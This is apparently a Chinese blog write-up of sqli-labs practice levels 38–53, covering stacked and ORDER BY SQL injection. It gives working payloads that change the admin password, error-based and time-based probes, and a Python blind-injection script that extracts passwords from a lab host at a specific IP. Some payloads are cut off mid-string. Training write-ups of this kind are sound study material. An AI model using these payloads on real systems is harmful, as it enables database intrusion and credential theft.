[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)

学习记录

  • 前置知识
    • 堆叠注入
    • order by 相关注入
      • 简单介绍
      • 注入方法
    • procedure analyse参数后注入
  • 第38关 ------ 简单堆叠注入
  • 第39关 ------ 数字型+堆叠注入
  • 第40关 ------ 闭合`')`+堆叠注入
  • 第41关 ------ 盲注+堆叠注入
  • 第42关 ------ POST型+堆叠注入
  • 第43关 ------ 类似42关(堆叠注入)
  • 第44关 ------ 盲注+堆叠注入
  • 第45关 ------ 盲注 + 堆叠注入
  • 第46关 ------ order by 注入
  • 第47关 ------ 浪费时间的题
  • 第48关 ------ 浪费时间的题
  • 第49关 ------ 浪费时间的辣鸡题、
  • 第50关 ------ order by stacked injection(参考Mysql天书)
  • 第51关 ------ 训练堆叠注入
  • 第52和53关 ------ 无回显

前置知识

堆叠注入

本来想写的,但是网上一堆堆就不班门弄斧了,看师傅们的吧
堆叠注入详解

order by 相关注入

简单介绍

以sql 语句为例$sql = "SELECT * FROM users ORDER BY $id";
?sort=1 desc 或者 asc,显示结果不同,则表明可以注入。(升序 or 降序排列)对应英文单词descending,ascending
我们可利用 order by 后的一些参数进行注入

注入方法

  • 1.直接添加注入语句,?sort=(select ******)
  • 2.利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
    比如说rand(true/false)
  • 3.利用 and,例如?sort=1 and (sql 语句)。
  • 当然还可以使用报错注入等方式,但需要针对不同的情形

procedure analyse参数后注入

通常我们可以利用它与sort函数一起执行报错注入
procedure analyse()函数是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型。
语法:

procesure analyse(max_elements,max_memory)

max_elements
指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。
max_memory
analyse()为每列找出所有非重复值所采用的最大内存大小。

第38关 ------ 简单堆叠注入

经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第1张图片
成功插入语句hhh
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第2张图片

第39关 ------ 数字型+堆叠注入

经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id=$id LIMIT 0,1
之后采用堆叠注入插入数据
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第3张图片
测试数据,成功hhh
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第4张图片

第40关 ------ 闭合')+堆叠注入

经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id=('$id') LIMIT 0,1
之后采用堆叠注入插入数据,成功执行
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第5张图片
查询成功hhh
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第6张图片

第41关 ------ 盲注+堆叠注入

经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id=$id LIMIT 0,1,与39关差不多哈,就是没了错误回显
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第7张图片
这一关不插入太多数据了,用update语句修改下发现没问题[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第8张图片

第42关 ------ POST型+堆叠注入

首先看源码,很明显得从password注入
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第9张图片
通过判断得到sql语句
SELECT * FROM users WHERE username='$username' and password='$password'
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第10张图片
密码输入1';sql语句;

第43关 ------ 类似42关(堆叠注入)

没有waf,只是sql语句改成了:
SELECT * FROM users WHERE username=('$username') and password=('$password')
利用语句:
c');你的sql语句;#

第44关 ------ 盲注+堆叠注入

与42关一样,只是这关没有报错信息;试一下修改admin密码
1';update users set password = '2' where username = 'admin';--
修改成功,再次用原来的密码登录就会报错
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第11张图片

第45关 ------ 盲注 + 堆叠注入

算了这关老实一点,通过测试发现sql语句为:
"SELECT * FROM users WHERE username=('$username') and password=('$password')"
我们测试一下把密码改回来;
2');update users set password = '1' where username = 'admin';--
用密码为1登录,发现没问题哈哈哈
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第12张图片

第46关 ------ order by 注入

这里我选择了盲注,根据rand的true与false的不同

import requests
from bs4 import BeautifulSoup

url = "http://139.196.26.141:8082/Less-46/?sort=rand("

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'ascii(substr((select group_concat(password) from users),{i},1))>{mid})'
        r = requests.get(url+payload)
        soup = BeautifulSoup(r.text, 'lxml')
        if 'admin3' in soup.find_all("td")[1]:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

当然也可以使用延时的
sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep (5))不过一般很慢不喜欢
对于报错注入也可以加上procedure analyse来执行
sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

第47关 ------ 浪费时间的题

与上一关差不多就是加了个'而已,
/?sort=1' and rand(false)--+可以配合盲注很简单不多说
procedure analyse 参数后注入也行看上面,延时注入也行很简单,其他都不想说了,浪费时间的一关

第48关 ------ 浪费时间的题

本关与 less-46 的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧 是可以使用的。 可以利用 sort=rand(true/false)进行判断。
?sort=rand(ascii(left(database(),1))=178)
And 后的延时注入sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,slee p(5)))不看了无聊的题

第49关 ------ 浪费时间的辣鸡题、

有啥好做的无聊,和47关没区别,就是没错无回显
[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_第13张图片

第50关 ------ order by stacked injection(参考Mysql天书)

执行 sql 语句我们这里使用的是 mysqli_multi_query()函数,而之前我们使用的是 mysqli _query(),区别在于 mysqli_multi_query()可以执行多个 sql 语句,而 mysqli_query()只能执行 一个 sql 语句,那么我们此处就可以执行多个 sql 语句进行注入,也就是我们之前提到的 sta tcked injection。
这里我们上述用到的方法依旧是可行的,我们这里就不重复了,这里就看下 stacked in jection。我们直接构造 payload:
sort=1;create table less50 like u

第51关 ------ 训练堆叠注入

它的sql语句是sql="SELECT * FROM users ORDER BY '$id'";
所以构造如下即可无聊
sort=1’;create table less50 like u

第52和53关 ------ 无回显

这题我觉得做的意义不太大,和前面一样只是没错无回显了

你可能感兴趣的:(安全学习,#,Web)